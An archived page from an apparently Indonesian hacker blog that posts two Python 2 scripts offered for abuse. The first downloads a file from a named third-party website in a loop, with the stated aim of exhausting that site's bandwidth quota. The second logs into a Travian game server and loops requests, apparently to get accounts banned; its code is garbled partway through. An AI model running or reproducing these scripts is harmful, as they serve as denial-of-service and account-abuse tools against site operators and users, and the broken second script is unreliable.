# ray16

wasted blog

# ray16 RSS Feed
 

Archive for python

[python] Penguras Bandwidth WebSite

gw buat simple script dimana ini digunakan buat download file yang ada di website target tapi looping,
tujuannya ya ngabisin bandwith website tersebut

kadang ada kan website yang quota bandwith nya dibatesin, entah dia gk ada duit buat beli yang unlimited atau apa?
enggak tau deh gw wkakakak contohnya si http://wormarchive.com ;p

file yang bakal kita download itu http://wormarchive.com/wp-content/file/576IM25394.JPG-www.myspace.com_.zip
dengan besar file 103.269 bytes kalo kita looping download sebanyak 1500x maka kita akan menghabiskan bandwith web tersebut sebesar 154.903.500 bytes atau sekitar (itung aja sendiri :p)

dah ah banyak cincong, yang banyak ngomong itu cuman AssLab ;p

download -> [download id=”12″]

#!/usr/bin/env python

if __name__ == '__main__':
	import sys, string
	if len(sys.argv) == 3:
		try:
			print '\nPenguras BandWidth WebSite'
			print 'Author: ray16 [dot] info'
			print 'eMail: l0g [at] ray16 [dot] info'
			print '----------------------'
			k = sys.argv[1]
			k = string.atoi(k)
			for i in range(0, k):
				import urllib
				a = urllib.urlopen(sys.argv[2])
				b = open(sys.argv[2].split('/')[-1], 'wb')
				b.write(a.read())
				a.close()
				b.close()
				print i,"downloaded ->",sys.argv[2].split('/')[-1]
			else:
				print '----------------------'
				print 'Selesai!'
				print '[G]unadarma [X]malang [R]esearch [G]roups - 2010 \n'
		except IOError:
			print 'URL SALAH'
	else:
		import os
		print '\nPenguras BandWidth WebSite'
		print 'Author: ray16 [dot] info'
		print '----------------------'
		print 'Cara Pakai: ./%s [x] [url_file]\n' % os.path.basename(sys.argv[0])

travian ban account python script

#########################################################################
#       .______                .___                          ._______   #
#     __| _ __/ __________   __| _/ ___________   ______  _  |___   /   #
#    / __ |\  \/  /\_  __ \ / __ |_/ ___\_  __ \_/ __ \ \/ \/ / /  /    #
#   / /_/ |/  /\  \_|  | \// /_/ |\  \___|  | \/\  ___/\     / / _/___  #
#   \____ /__/  \__  >_|   \____ | \___  >__|    \___  >\/\_/ /_____  | #
#   /--_| |        \/      /--_| |     \/            \/             \/  #
#   \____ |                \____ |         travian ban account          #
#       \/                     \/         python script                 #
#########################################################################
#!/usr/bin/python
import codecs

import os.path

import urllib

import urllib2

import cookielib

#######################################
############### Konfigurasi Akun
#######################################
UserName = 'username'
PassWord = 'fake pass'
ServerName = 'speed.travian.com.my'

# for more info cek the help!

COOKIEFILE = 'travian.cookie'

cj = cookielib.LWPCookieJar()

if os.path.isfile(COOKIEFILE):

   cj.load(COOKIEFILE)

opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

urllib2.install_opener(opener)

txheaders =  {'User-agent' : 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT)'}
theurl = 'http://' + ServerName + '/login.php'

txdata = None

try:

   req = urllib2.Request(theurl, txdata, txheaders)

   handle = urllib2.urlopen(req)

except IOError, e:

   print 'Failed to connect "%s".' % theurl

   if hasattr(e, 'code'):

      print 'Failed with error code - %s.' % e.code

   elif hasattr(e, 'reason'):

      print "The error object has the following 'reason' attribute :"

      print e.reason

else:

   strForm = handle.read().decode('UTF-8')

   strForm = strForm[strForm.find(u'<1000:
   urllib2.urlopen(req)
   print x
   x=x+1